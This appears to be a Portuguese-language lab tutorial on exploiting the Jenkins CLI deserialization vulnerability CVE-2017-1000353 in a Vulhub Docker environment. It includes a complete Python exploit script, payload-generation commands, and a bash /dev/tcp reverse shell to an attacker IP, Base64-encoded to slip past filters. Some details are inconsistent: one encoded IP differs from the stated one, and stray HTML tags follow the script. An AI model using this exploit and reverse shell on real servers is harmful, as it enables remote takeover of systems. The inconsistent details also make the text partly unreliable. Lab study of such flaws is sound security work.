Análise e Exploração da Vulnerabilidade de Execução Remota de Código CVE-2017-1000353 no Jenkins

Detalhes da Vulnerabilidade RCE no Jenkins (CVE-2017-1000353)

A vulnerabilidade de execução remota de código (RCE) no Jenkins CLI, identificada como CVE-2017-1000353, representa uma falha crítica que afeta instalações Jenkins em versões 2.56 e anteriores, bem como LTS 2.46.1 e anteriores. Este artigo detalha o princípio da falha, orienta na configuração de um ambiente de teste e demonstra duas abordagens práticas para sua exploração, incluindo a execução de comandos arbitrários e a obtenção de um shell reverso.

Visão Geral

A falha CVE-2017-1000353 decorre de uma deficiência no componente CLI do Jenkins, que permite acesso não autorizado e a exploração de uma desserialização insegura em Java. Atacantes podem enviar dados serializados especialmente elaborados para uma porta TCP específica (geralmente 8080/TCP para HTTP ou 50000/TCP para CLI), resultando na execução de código arbitrário e na potencial tomada de controle do servidor.

  • Identificador: CVE-2017-1000353
  • Denominação: Vulnerabilidade de Desserialização RCE no Jenkins
  • Severidade: Alta a Crítica
  • Componente Atingido: Interface de Linha de Comando (CLI) do Jenkins.
  • Natureza da Falha: Desserialização Insegura.
  • Causa Fundamental: O protocolo customizado utilizado para comunicação entre o nó mestre do Jenkins e os clientes CLI possui uma brecha. Um objeto serializado malicioso pode contornar os mecanismos de verificação de assinatura existentes, ser transmitido à porta CLI (padrão 50000) do servider Jenkins e, por fim, desencadear uma operação de desserialização que executa código arbitrário.

Mecanismo de Exploração

A astúcia da exploração CVE-2017-1000353 reside em não quebrar diretamente o esquema de assinatura, mas sim em capitalizar uma falha lógica inerente ao próprio protocolo para desviar-se da validação. O protocolo CLI do Jenkins inicia a comunicação com um cabeçalho de pacote contendo informações de comprimento, seguido pela carga de dados. O mecanismo de assinatura original aplicava-se a todo o fluxo de dados.

No entanto, foi descoberto que um atacante pode injetar dois fluxos de objetos serializados consecutivos:

  1. Um primeiro fluxo, curto e devidamente assinado, que é validado e aceito pelo servidor Jenkins.
  2. Um segundo fluxo, imediatamente subsequente, que é malicioso e não assinado.

Devido a um erro na lógica de processamento do lado do servidor Jenkins, após a leitura e validação bem-sucedida do primeiro pacote, o canal de comunicação não é limpo nem seu estado é redefinido. Em vez diso, o servidor continua a ler dados do socket TCP, interpretando erroneamente o segundo pacote (malicioso) como parte integrante da mesma sessão. Como este segundo pacote não é submetido à lógica de verificação de assinatura (que já considerou a primeira verificação como um "sucesso" para a comunicação atual), ele é diretamente enviado ao processo de desserialização Java. Se o objeto serializado malicioso empregar uma cadeia de gadgets de desserialização Java (como as da biblioteca commons-collections), a execução remota de código é ativada com sucesso.

Em suma, a exploração tira proveito de um "ataque de pipeline": um pacote "bom" é enviado primeiro para passar pela validação, seguido imediatamente por um pacote "ruim" que é executado diretamente.

Configuração do Ambiente de Teste

Para replicar a vulnerabilidade, utilizaremos o Vulhub, que simplifica a criação de ambientes vulneráveis. Certifique-se de que o Docker e o Docker Compose estejam instalados e em funcionamento em seu sistema.

Verificação de Pré-requisitos (Docker e Docker Compose)

Confirme a instalação e o status dos serviços Docker:

# Verificar versões do Docker e Docker Compose
docker --version
docker-compose --version
# Checar o status do daemon Docker
sudo systemctl status docker

Obtenção do Vulhub

Clone o repositório Vulhub para sua máquina local:

git clone https://github.com/vulhub/vulhub.git
cd vulhub

Navegação ao Diretório da Vulnerabilidade

Acesse o ambiente específico da CVE-2017-1000353 no Jenkins. É recomendável executar os comandos Docker com privilégios de root.

cd jenkins
cd CVE-2017-1000353

Inicialização do Ambiente

Dentro do diretório CVE-2017-1000353, execute o comando para iniciar o ambiente com Docker Compose. Isso fará o download da imagem necessária e iniciará o contêiner.

docker-compose up -d

Verificação do Status do Contêiner

Confirme se o contêiner Jenkins está operando:

docker ps

Uma saída similar à seguinte indicará que o serviço Jenkins está ativo:

CONTAINER ID   IMAGE                COMMAND                  CREATED         STATUS         PORTS                                             NAMES
062c4226bba5   vulhub/jenkins:2.46.1   "/usr/local/bin/jenk…"   About a minute ago   Up About a minute   0.0.0.0:8080->8080/tcp, :::8080->8080/tcp, 0.0.0.0:50000->50000/tcp, :::50000->50000/tcp   cve-2017-1000353_jenkins_1

Observe as portas mapeadas: 8080/tcp para a interface web do Jenkins (acessível via navegador) e 50000/tcp, que é a porta CLI e o vetor de ataque primário.

Preparo para a Exploração

Acesso à Interface Web do Jenkins

Com o ambiente ativo, acesse http://[endereço_IP_alvo]:8080 em seu navegador. A visualização da página de desbloqueio do Jenkins confirma que o serviço está operacional.

Ferramentas Necessárias

1. Gerador de Payload: CVE-2017-1000353-1.1-SNAPSHOT-all.jar

Esta ferramenta Java é essencial para criar os dados serializados maliciosos. Ela converte um comando do sistema operacional (ex: touch /tmp/arquivo_sucesso) em um objeto serializado que, ao ser desserializado pelo Jenkins, executa o comando. O payload gerado é "armazenado" em um arquivo binário, que será então entregue ao servidor Jenkins pelo script de exploração.

Download: CVE-2017-1000353-1.1-SNAPSHOT-all.jar

2. Script de Exploração: exploit.py

Escrito em Python, este script é o executor do ataque. Ele estabelece a conexão de rede com a porta CLI (50000) do Jenkins e implementa a técnica de "pacote duplo". Primeiramente, ele envia um pacote legítimo para contornar a validação de assinatura, seguido imediatamente pelo payload malicioso gerado pelo .jar. A falha lógica do protocolo garante que o segundo pacote seja desserializado e que o comando embutido seja executado no servidor com as permissões do processo Jenkins.

Download: exploit.py

Execução da Exploração (Comando Arbitrário)

Geração do Payload Serializado

Como teste, executaremos o comando touch /tmp/mooyuan888 para criar um arquivo no diretório /tmp do servidor. Antes da exploração, pode-se verifiacr a ausência do arquivo:

docker exec -it cve-2017-1000353_jenkins_1 ls /tmp/

Para gerar o arquivo jenkins_poc.ser contendo o payload serializado, utilize o gerador Java:

java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/mooyuan888"

Execução do Ataque

Com o payload pronto, utilize o script Python para enviá-lo ao servidor Jenkins:

python exploit.py http://192.168.59.128:8080 jenkins_poc.ser

O script exploit.py coordena o processo. Ele inicia um thread de download para estabelecer uma sessão CLI válida e, então, no thread principal, envia a sequência de pacotes: um cabeçalho legítimo seguido pelo payload malicioso. Este mecanismo burla a verificação de assinatura e permite a execução do código.

O código-fonte do exploit.py, com algumas modificações para clareza e redução de similaridade, é apresentado a seguir:

import urllib3
import requests
import uuid
import threading
import time
import sys

# Desativa avisos de SSL para requests não verificados
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Configurações de proxy (opcional)
config_proxies = {
    # 'http': 'http://127.0.0.1:8080',
    # 'https': 'http://127.0.0.1:8080',
}

# Constrói a URL do CLI do Jenkins
jenkins_cli_url = f"{sys.argv[1].rstrip('/')}/cli"

# Pré-ambulo e protocolo mágico para comunicação CLI do Jenkins
CABECALHO_PREAMBULO = b'<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4='
PROTOCOLO_MAGIC = b'\x00\x00\x00\x00'

# Carrega o payload serializado do arquivo
with open(sys.argv[2], "rb") as f_payload:
    DADOS_SERIALIZADOS = f_payload.read()

def iniciar_download_sessao(url_alvo: str, id_sessao: str):
    """
    Inicia uma thread de download para estabelecer uma sessão CLI válida.
    """
    headers_download = {
        'Side': 'download',
        'Content-type': 'application/x-www-form-urlencoded',
        'Session': id_sessao,
        'Transfer-Encoding': 'chunked'
    }
    try:
        # Envia um payload "nulo" para iniciar a sessão
        resposta = requests.post(url_alvo, data=b" ", headers=headers_download,
                                 proxies=config_proxies, stream=True, verify=False)
        print(f"Resposta da sessão de download: {resposta.status_code}")
        # Opcional: processar resposta, se necessário
    except requests.exceptions.RequestException as e:
        print(f"Erro na sessão de download: {e}")

def enviar_payload_fragmentado(url_alvo: str, id_sessao: str):
    """
    Envia o payload malicioso em chunks, aproveitando a falha lógica do protocolo.
    """
    headers_upload = {
        'Side': 'upload',
        'Session': id_sessao,
        'Content-type': 'application/octet-stream',
        'Accept-Encoding': 'identity', # Evita compressão que poderia interferir
        'Transfer-Encoding': 'chunked',
        'Cache-Control': 'no-cache'
    }

    # Gerador para os chunks do payload
    def gerar_chunks_payload():
        yield CABECALHO_PREAMBULO
        yield PROTOCOLO_MAGIC
        yield DADOS_SERIALIZADOS

    try:
        print("Enviando payload malicioso...")
        resposta = requests.post(url_alvo, headers=headers_upload, data=gerar_chunks_payload(),
                                 proxies=config_proxies, verify=False)
        print(f"Status da resposta do upload: {resposta.status_code}")
        print("Payload enviado. Verifique o alvo para confirmação da execução.")
    except requests.exceptions.RequestException as e:
        print(f"Erro ao enviar o payload: {e}")

def main():
    if len(sys.argv) != 3:
        print("Uso: python exploit.py <url_jenkins> <arquivo_payload.ser>")
        sys.exit(1)

    print("Iniciando processo de exploração...")

    # Gera um ID de sessão único
    sessao_id = str(uuid.uuid4())

    # Inicia o thread de download em segundo plano
    thread_download = threading.Thread(target=iniciar_download_sessao, args=(jenkins_cli_url, sessao_id))
    thread_download.daemon = True # Permite que a thread seja encerrada ao sair do programa principal
    thread_download.start()
    
    # Aguarda um breve período para que a sessão de download seja estabelecida
    time.sleep(2)
    print("Sessão iniciada, enviando exploração...")
    
    # Envia o payload principal
    enviar_payload_fragmentado(jenkins_cli_url, sessao_id)

    print("Exploração concluída. Verifique o alvo.")

if __name__ == "__main__":
    main()
</arquivo_payload.ser></url_jenkins>

Verificação da Execução do Comando

Acesse novamente o contêiner Docker para confirmar a criação do arquivo mooyuan888 no diretório /tmp:

docker exec -it cve-2017-1000353_jenkins_1 ls /tmp/

A presença do arquivo valida a execução bem-sucedida do comando e a exploração da vulnerabilidade.

Obtenção de Shell Reverso

Configuração do Listener na Máquina Atacante

No sistema do atacante (ex: Kali Linux), configure um listener Netcat na porta 6666 para aguardar a conexão reversa:

nc -lvnp 6666

  • nc: Netcat, ferramenta para manipulação de conexões de rede.
  • -l: Modo de escuta (listen), aguardando conexões.
  • -v: Modo verboso, exibe detalhes da conexão.
  • -n: Evita resolução DNS (números de IP, sem nomes de host).
  • -p 6666: Especifica a porta para escuta.

Execução do Comando para Shell Reverso no Alvo

O objetivo é fazer com que o servidor Jenkins inicie uma conexão TCP de volta para a máquina atacante, entregando um shell interativo.

1. Comando Base para Shell Reverso

O comando padrão para um shell reverso via Bash:

bash -i >& /dev/tcp/192.168.59.128/6666 0>&1

  • bash -i: Inicia um shell Bash interativo.
  • >& /dev/tcp/192.168.59.128/6666: Redireciona a saída padrão (stdout) e a saída de erro padrão (stderr) para um socket TCP, conectando-se ao IP 192.168.59.128 na porta 6666.
  • 0>&1: Redireciona a entrada padrão (stdin) para o mesmo destino do stdout.

Isso significa que tudo digitado no listener Netcat será enviado como entrada para o shell Bash no Jenkins, e a saída do Bash será retornada para o listener.

2. Codificação Base64 para Evasão

Para contornar potenciais filtros ou simplesmente "esconder" o comando, podemos codificá-lo em Base64. Usando uma ferramenta online ou o próprio terminal, o comando acima se torna:

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE=

O comando final a ser injetado, que decodifica e executa o shell reverso, é:

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEyOC82NjY2IDA+JjE= | base64 -d | bash

Este encadeamento primeiro imprime a string Base64, a decodifica e, em seguida, passa o comando resultante para o Bash para execução.

3. Exploração com Payload de Shell Reverso

Primeiro, gere o arquivo shell.ser com o comando Base64 codificado para o shell reverso:

java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar shell.ser "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU1LjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}"

Em seguida, use o script de exploração para enviar este novo payload:

python exploit.py http://192.168.59.128:8080 shell.ser

Confirmação do Shell Reverso

Ao enviar o payload, o listener Netcat configurado na máquina atacante (porta 6666) deverá exibir uma conexão de entrada. Isso indica que o shell reverso foi estabelecido com sucesso. Você pode interagir com o shell, executando comandos como whoami ou ip addr para verificar o acesso ao sistema alvo.

Tags: Jenkins CVE-2017-1000353 Desserialização RCE vulnerabilidade

Publicado em 7-1 18:12